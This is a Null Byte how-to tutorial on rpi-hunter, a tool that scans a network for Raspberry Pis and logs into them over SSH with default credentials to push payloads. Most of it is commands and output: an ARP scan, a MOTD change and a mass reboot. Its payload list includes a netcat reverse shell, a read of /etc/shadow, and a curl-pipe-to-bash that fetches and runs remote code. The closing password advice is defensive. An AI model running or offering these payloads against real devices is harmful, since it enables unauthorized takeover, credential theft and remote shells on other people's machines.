How to Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunter « Null Byte :: WonderHowTo

When setting up aRaspberry Pi, it's easy to overlook changing the default password. Like manyIoT devices, the Raspberry Pi's default Raspbian operating system installs with a widely-known default password, leaving the device vulnerable to remote access. Using a tool calledrpi-hunter, hackers can discover, access, and drop custom payloads on any weak Pi connected to the same network.While this tool is primarily for local networks, it's also capable of discovering and attacking Pi models connected directly to the internet from anywhere. Far from a simple prank, a vulnerable Pi on your network can give hackers unfettered access to other devices on your internal network — and even spread payloads to other vulnerable devices.Don't Miss:Set Up Kali Linux on the $10 Raspberry Pi Zero WWhy Default Credentials Are a ProblemDevices still using the default passwords are a considerable risk to connect to a network. Because many IoT devices don't even allow the owner of the device to change the password thanks to hardcoded credentials, they are a favorite target for hackers and automated botnets. Hackers took advantage of these flaws in October 2016, taking out internet service in the United States using thousands of vulnerable computers linked inthe Mirai botnet.This botnet was created by scanning large blocks for the internet for open telnet ports and attempting to log in with default passwords to any device it discovered, taking over vulnerable devices and adding them to the botnet army.Aside from IoT devices, default credentials are also significant problems in routers. Because the majority of users hook up the device and never change the password to it, anyone with the Wi-Fi password can quickly gain access to the router's setting and administrative portal. From here, it's easy to set up remote administration, load unauthorized firmware to spy on the owner, and make other unauthorized changes to the device like pointing the DNS server to a malicious one.Don't Miss:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+If you know the default password a device is using, it becomes effortless to automate logging in to the device to perform some sort of action. That's where rpi-hunter comes in. With it, we can use our knowledge of the Raspberry Pi's default password to automate connecting to and controlling the Pi remotely.Rpi-hunter for GoodIf you have more than one Raspberry Pi, rpi-hunter can take the work out of keeping them updated. After locating the Pis on the network, it's easy to go about making modifications to each device individually or access every Pi simultaneously as a group. While rpi-hunter is programmed by default to try the default Raspbian password, you can easily change the password to reflect the ones you used to set up your own Raspberry Pis.If you have a home or work network with Raspberry Pis you need to configure, you can connect them to the network, enable SSH, and make any changes you need to the entire group as one with rpi-hunter. You could run updates, change the passwords, or pre-load software on the Pis you might need all of them to run later. The ability to connect all of your Pis to the network and issue commands to all of them at the same time is a lot more convenient than having to do so one by one.Rpi-hunter for EvilIt doesn't take a lot of imagination to guess how you could use the ability to discover and control large groups of Raspberry Pis with default credentials. Aside from stock Raspbian, many Raspberry Pis are pressed into service asOctoPrint controllersor other applications with well-known default passwords. If any of these devices are connected directly to the internet, rpi-hunter can discover them over the internet and begin issuing commands.Don't Miss:Build a Pumpkin Pi — The Rogue AP & MITM FrameworkThe risk of forgetting to change your password for the owner of a Raspberry Pi is in allowing a stranger to control it remotely and potentially gain a beachhead from which to infect your network further. The average user who sets up and forgets about a Raspberry Pi running default credentials may never see symptoms of their device being compromised, even though it may be quietly following instructions like routing stolen credit card transactions through your network or spying on your traffic.What You'll NeedTo follow this guide, you'llneed to have a Raspberry Pi modelsuch as theZero W,3 Model B+, or4running Raspbian or Debian. You should be able to download this operating system for the Raspberry Pi from thePi Foundation's download page. Once you have your Raspberry Pi running stock Raspbian, you can connect it to your home network using anEthernet cable(if the Pi has an Ethernet port) or Wi-Fi.Next, you'll need a computer with Python to run rpi-hunter on. Because Python is cross-platform, you should be able to install itfrom its download pageon the operating system you use.Recommended:CanaKit Raspberry Pi 4 Starter Kit (4 GB) on AmazonWhen you have Python installed and your computer connected to the same network your Raspberry Pi is connected to, then you're ready to begin using rpi-hunter.Step 1: Get Rpi-hunter ReadyFirst, we'll need to install any libraries rpi-hunter relies on to run. To do so, open a new terminal window and enter the following commands. If you're not root, you should usesudobefore this and other commands in the article.~# pip install -U argparse termcolor

Requirement already up-to-date: argparse in /usr/local/lib/python3.7/dist-packages (1.4.0)
Requirement already up-to-date: termcolor in /usr/lib/python3/dist-packages (1.1.0)~# apt -y install arp-scan tshark sshpass

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  dh-python libdouble-conversion1 liblinear3 libtasn1-doc libwireshark11
  libwiretap8 libwscodecs2 libwsutil9
Use 'apt autoremove' to remove them.
The following additional packages will be installed:
  cryptsetup cryptsetup-initramfs cryptsetup-run gcc-10-base libgcc-s1
  libgnutls-dane0 libgnutls-openssl27 libgnutls28-dev libgnutls30 libgnutlsxx28
  libhogweed5 libnettle7 libp11-kit-dev libp11-kit0 libsnappy1v5 libtasn1-6
  libtasn1-6-dev libwireshark-data libwireshark13 libwiretap10 libwsutil11
  p11-kit-modules wireshark-common wireshark-qt
Suggested packages:
  keyutils gnutls-bin gnutls-doc geoip-database-extra libjs-leaflet
  libjs-leaflet.markercluster snmp-mibs-downloader wireshark-doc
Recommended packages:
  cryptsetup-nuke-password libtasn1-doc
The following NEW packages will be installed:
  gcc-10-base libgcc-s1 libhogweed5 libnettle7 libwireshark13 libwiretap10
  libwsutil11 sshpass
The following packages will be upgraded:
  arp-scan cryptsetup cryptsetup-initramfs cryptsetup-run libgnutls-dane0
  libgnutls-openssl27 libgnutls28-dev libgnutls30 libgnutlsxx28 libp11-kit-dev
  libp11-kit0 libsnappy1v5 libtasn1-6 libtasn1-6-dev libwireshark-data
  p11-kit-modules tshark wireshark-common wireshark-qt
19 upgraded, 8 newly installed, 0 to remove and 1905 not upgraded.
Need to get 25.0 MB/26.8 MB of archives.
After this operation, 97.9 MB of additional disk space will be used.
...Once these libraries are installed, we can move on to installing rpi-hunter fromthe GitHub repository. To clone the repo, you can type the following into a terminal window.~# git clone https://github.com/BusesCanFly/rpi-hunter.git

Cloning into 'rpi-hunter'...
remote: Enumerating objects: 1, done.
remote: Counting objects: 100% (1/1), done.
remote: Total 138 (delta 0), reused 0 (delta 0), pack-reused 137
Receiving objects: 100% (138/138), 1.49 MiB | 4.27 MiB/s, done.
Resolving deltas: 100% (70/70), done.Now, navigate to the "rpi-hunter" folder (via thecdcommand) and the newly downloaded "rpi-hunter.py" is ready for us to run.~# cd rpi-hunterStep 2: Enable SSH on Your Raspberry PiConnect your Raspberry Pi to the network either via Ethernet cable or Wi-Fi and make sure that SSH is enabled. You can check this by running theraspi-configcommand in a new terminal window. Select "Interfacing Options," then enable remote command-line access to your Pi using SSH.Once SSH is enabled, save your options. You may need to reboot. When your device restarts, you can check to see if SSH is running by typingifconfigto get your IP address in a terminal window on the Pi, and then running the following command on your other device.~# nmap -p 22 (pi's IP address here)If theNmapscan indicates that the port is "open," then SSH is successfully running on your Pi.Step 3: Install Rpi-hunter on Your Raspberry PiBefore running the first time, we'll need to make "rpi-hunter.py" executable by running the following command in a new terminal window.~# chmod +x rpi-hunter.pyStep 4: Run Rpi-hunterNow, we should be able to run the program and see the various flags we can work with.~/rpi-hunter# python rpi-hunter.py -h

usage: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST]
                     [-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT]
                     [--safe] [-q]

optional arguments:
  -h, --help         show this help message and exit
  --list             List avalible payloads
  --no-scan          Disable ARP scanning
  -r IP_RANGE        IP range to scan
  -f IP_LIST         IP list to use (Default ./scan/RPI_list)
  -c CREDS           Password to use when ssh'ing
  --payload PAYLOAD  (Name of, or raw) Payload [ex. reverse_shell or 'whoami']
  -H HOST            (If using reverse_shell payload) Host for reverse shell
  -P PORT            (If using reverse_shell payload) Port for reverse shell
  --safe             Print sshpass command, but don't execute it
  -q                 Don't print banner or ARP scan outputHere, we can see a few useful flags off the bat. We can scan a single device with-ror a range of IP addresses, or we can even pull from a list of IP addresses with the-fflag. There are some other options relating to which payload we're going to select, and we can explore the available payloads by typing the following command.~/rpi-hunter# python rpi-hunter.py --list

██████╗ ██████╗ ██╗      ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗
██╔══██╗██╔══██╗██║      ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗
██████╔╝██████╔╝██║█████╗███████║██║   ██║██╔██╗ ██║   ██║   █████╗  ██████╔╝
██╔══██╗██╔═══╝ ██║╚════╝██╔══██║██║   ██║██║╚██╗██║   ██║   ██╔══╝  ██╔══██╗
██║  ██║██║     ██║      ██║  ██║╚██████╔╝██║ ╚████║   ██║   ███████╗██║  ██║
╚═╝  ╚═╝╚═╝     ╚═╝      ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
-----------------------------------------------------------------------------
      BusesCanFly                                           76 32 2e 30
-----------------------------------------------------------------------------

Payloads:
Specify with --payload name

[raincow_install] sudo apt -y install fortune cowsay lolcat
[motd] echo "CHANGE YOUR PASSWORD" > /etc/motd
[raincow_bashrc] sudo echo "fortune | cowsay | lolcat" >> ~/.bashrc
[reverse_shell] rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc None None >/tmp/fC
[apt_update] sudo apt update && sudo apt -y upgrade
[shadow] sudo cat /etc/shadow
[rickroll] curl -s -L http://bit.ly/10hA8iC | bash
[gitpip] sudo apt -y install git python-pipIn the payload list, we can see that there are several options to choose from. We can change the message of the day, create a reverse shell to remotely control the Pi, or even customize our own payload to send.Step 5: Discover Raspberry Pis on the NetworkTo discover a Raspberry Pi on the network, rpi-hunter will run a series of scans to identify any device listing itself as manufactured by Raspberry Pi. We can run a scan ourselves first and directly put in the IP address here if we want to be precise, but the point here is being able to discover and control devices on the network you otherwise might not know about.Don't Miss:Enable Monitor Mode & Packet Injection on the Raspberry PiWithout knowing anything about the network we're on, rpi-hunter will scan the entire network range for Raspberry Pi devices, add them to a list, and then send a payload to any device that's running default credentials. We can do so with thewhoamipayload with the following command. I've run mine without first connecting the Pi to the network. (Note: You can also scan a specific IP range by inserting the-rflag and the range before the payload.)~/rpi-hunter# python rpi-hunter.py --payload whoami

██████╗ ██████╗ ██╗      ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗
██╔══██╗██╔══██╗██║      ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗
██████╔╝██████╔╝██║█████╗███████║██║   ██║██╔██╗ ██║   ██║   █████╗  ██████╔╝
██╔══██╗██╔═══╝ ██║╚════╝██╔══██║██║   ██║██║╚██╗██║   ██║   ██╔══╝  ██╔══██╗
██║  ██║██║     ██║      ██║  ██║╚██████╔╝██║ ╚████║   ██║   ███████╗██║  ██║
╚═╝  ╚═╝╚═╝     ╚═╝      ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
-----------------------------------------------------------------------------
      BusesCanFly                                           76 32 2e 30
-----------------------------------------------------------------------------

Interface: wlp1s0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
172.16.42.1 de:f3:86:ec:ca:a0   (Unknown)
172.16.42.3 60:30:d4:6a:06:c8   (Unknown)
172.16.42.27    b0:19:c6:98:72:ee   (Unknown)
172.16.42.24    1c:36:bb:00:bd:84   (Unknown)
172.16.42.85    8c:85:90:3a:77:14   (Unknown)
172.16.42.15    30:59:b7:08:b2:86   Microsoft
172.16.42.102   8c:85:90:c4:45:08   (Unknown)
172.16.42.117   00:26:bb:1b:97:72   Apple, Inc.
172.16.42.121   8c:85:90:0c:a6:e6   (Unknown)
172.16.42.138   18:65:90:e0:3e:03   (Unknown)
172.16.42.122   d0:c5:f3:9a:eb:2b   (Unknown)
172.16.42.35    10:4a:7d:39:ea:e0   Intel Corporate
172.16.42.75    40:4e:36:3b:63:bf   HTC Corporation
172.16.42.80    34:23:87:ae:e4:41   Hon Hai Precision Ind. Co.,Ltd.
172.16.42.95    3c:2e:f9:bb:87:ad   (Unknown)
172.16.42.105   88:e9:fe:87:c7:74   (Unknown)
172.16.42.112   c4:b3:01:bc:ab:e7   Apple, Inc.
172.16.42.115   36:26:1f:e8:1f:63   (Unknown)
172.16.42.169   a8:bb:cf:13:42:6e   Apple, Inc.
172.16.42.179   8c:85:90:81:9a:9b   (Unknown)
172.16.42.141   8c:85:90:c3:be:3e   (Unknown)
172.16.42.123   a4:34:d9:3f:b3:30   Intel Corporate
172.16.42.164   b8:e8:56:12:84:36   Apple, Inc.

23 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.5: 256 hosts scanned in 2.571 seconds (99.57 hosts/sec). 23 responded

Located 0 Raspi's

Loaded 0 IP's

Sending payload to Pi's
Godspeed, little payloadsAs you can see from the output, there were zero Raspberry Pis detected on the network we are currently on. If there was one, we should see a response from the Raspberry Pi that just says "pi" in response to the whoami command.Step 6: Send a Default PayloadNow, let's go ahead and send one of the default payloads included in the script to a live Raspberry Pi. Let's use themotdpayload, which will modify the Pi's "message of the day" which appears when a user logs in via SSH. (Note: If you already located a Pi you want to target, insert the-rflag and its IP address before the payload.)When we execute this, the script will connect to any Pi we've discovered via SSH using default credentials, and then add "CHANGE YOUR PASSWORD" to the text of the message of the day login screen.~/rpi-hunter# python rpi-hunter.py --payload motd

██████╗ ██████╗ ██╗      ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗
██╔══██╗██╔══██╗██║      ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗
██████╔╝██████╔╝██║█████╗███████║██║   ██║██╔██╗ ██║   ██║   █████╗  ██████╔╝
██╔══██╗██╔═══╝ ██║╚════╝██╔══██║██║   ██║██║╚██╗██║   ██║   ██╔══╝  ██╔══██╗
██║  ██║██║     ██║      ██║  ██║╚██████╔╝██║ ╚████║   ██║   ███████╗██║  ██║
╚═╝  ╚═╝╚═╝     ╚═╝      ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
-----------------------------------------------------------------------------
      BusesCanFly                                           76 32 2e 30
-----------------------------------------------------------------------------

Interface: wlp1s0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
172.16.42.1 de:f3:86:ec:ca:a0   (Unknown)
172.16.42.15    30:59:b7:08:b2:86   Microsoft
172.16.42.24    1c:36:bb:00:bd:84   (Unknown)
172.16.42.48    b4:9c:df:c1:27:5d   (Unknown)
172.16.42.85    8c:85:90:3a:77:14   (Unknown)
172.16.42.75    40:4e:36:3b:63:bf   HTC Corporation
172.16.42.80    34:23:87:ae:e4:41   Hon Hai Precision Ind. Co.,Ltd.
172.16.42.169   a8:bb:cf:13:42:6e   Apple, Inc.
172.16.42.121   8c:85:90:0c:a6:e6   (Unknown)
172.16.42.182   f4:5c:89:99:57:13   Apple, Inc.
172.16.42.102   8c:85:90:c4:45:08   (Unknown)
172.16.42.97    a4:b8:05:66:a0:64   Apple, Inc.
172.16.42.122   d0:c5:f3:9a:eb:2b   (Unknown)
172.16.42.130   90:61:ae:8f:f4:03   (Unknown)
172.16.42.127   4c:66:41:77:66:37   SAMSUNG ELECTRO-MECHANICS(THAILAND)
172.16.42.98    78:4f:43:59:7b:fb   Raspberry Pi
172.16.42.112   c4:b3:01:bc:ab:e7   Apple, Inc.

21 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.5: 256 hosts scanned in 2.538 seconds (100.87 hosts/sec). 17 responded

Located 1 Raspi's

Loaded 1 IP's

Sending payload to Pi's
Godspeed, little payloads

Sending payload to  172.16.42.98Success! The next time we log into our Raspberry Pi via SSH, we should see the "CHANGE YOUR PASSWORD" message added.Step 7: Send a Custom PayloadNow that we can send payloads, let's go beyond the default payloads provided in the script and use a simple custom payload. To do so, we can enclose any commands we want to send the Pi in quotation marks after the--payloadflag. To reboot every Pi we detect, we can send thesudo rebootcommand as our payload. The resulting command looks like this:~/rpi-hunter# python rpi-hunter.py --payload "sudo reboot"

Located 1 Raspi's

Loaded 1 IP's

Sending payload to Pi's
Godspeed, little payloads

Sending payload to  172.16.42.98
Connection to 172.16.42.98 closed by remote host.After issuing this command, every Raspberry Pi on the network should instantly restart. If some Pis are using a different password than the default "raspberry" password set by Raspbian, you can change the password rpi-hunter tries with the-cflag.Accessing Pis using a password other than the default one can be done by running the following command in a terminal window, with the Pi's password added where "toor" is.~/rpi-hunter# python rpi-hunter.py -c toor --payload "sudo reboot"Now that you can modify both the password sent and customize your payload, rpi-hunter is ready to control any Pi or group of Pis remotely.Rpi-hunter Lets You Control Many Pis at OnceDevices with default credentials are easy to access, and rpi-hunter is a powerful and useful proof of concept to show how easy it is to take over large numbers of vulnerable devices at the same time. Make sure to change the default password on any device you're connecting to your network, and never expose devices with default credentials directly to the internet.If you're worried about someone else accessing your Raspberry Pi, disable SSH when you don't need it, and consider using a key file rather than a simple passphrase to secure SSH access on your device.I hope you enjoyed this guide to finding and pushing payloads to Raspberry Pis over a network with rpi-hunter! If you have any questions about this tutorial on remotely accessing Raspberry Pis, leave a comment below, and feel free to reach me on Twitter@KodyKinzie.Don't Miss:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by Kody/Null ByteRelatedHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Brute-Force SSH, FTP, VNC & More with BruteDumHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Run Your Favorite Graphical X Applications Over SSHHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHacking Windows 10:How to Intercept & Decrypt Windows Passwords on a Local NetworkHow To:Map Networks & Connect to Discovered Devices Using Your PhoneHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Do the Hunter & Alchemist Specials in Prince of PersiaHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Draw Gemma Arterton of Hansel and Gretel Witch HuntersHow To:Break into Router Gateways with PatatorHow to Hack Wi-Fi:Capturing WPA Passwords by Targeting Users with a Fluxion AttackHow To:Perform Network-Based Attacks with an SBC ImplantHow To:Use Metasploit's Database to Stay Organized & Store Information While HackingHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)How To:Automate Brute-Force Attacks for Nmap ScansHow To:Modify the USB Rubber Ducky with Custom FirmwareHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Steal Form Data from Your Fake WebsiteHow To:Earn Three Achievements in Cabela's Big Game Hunter 2012How To:Cure Vampirism in SkyrimGHOST PHISHER:Security Auditing ToolForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsHow To:Earn the "Chasing the Game" and "The Take" Achievements in Dragon Age II: Mark of the Assassin DLCNews:Zero Punctuation Review of Monster Hunter TriHow To:Get the 'Master Fortune Hunter' Trophy in Uncharted 3: Drake's DeceptionNews:The Coach's Corner/Pre-PubertyCaptain Kronos:Vampire Hunter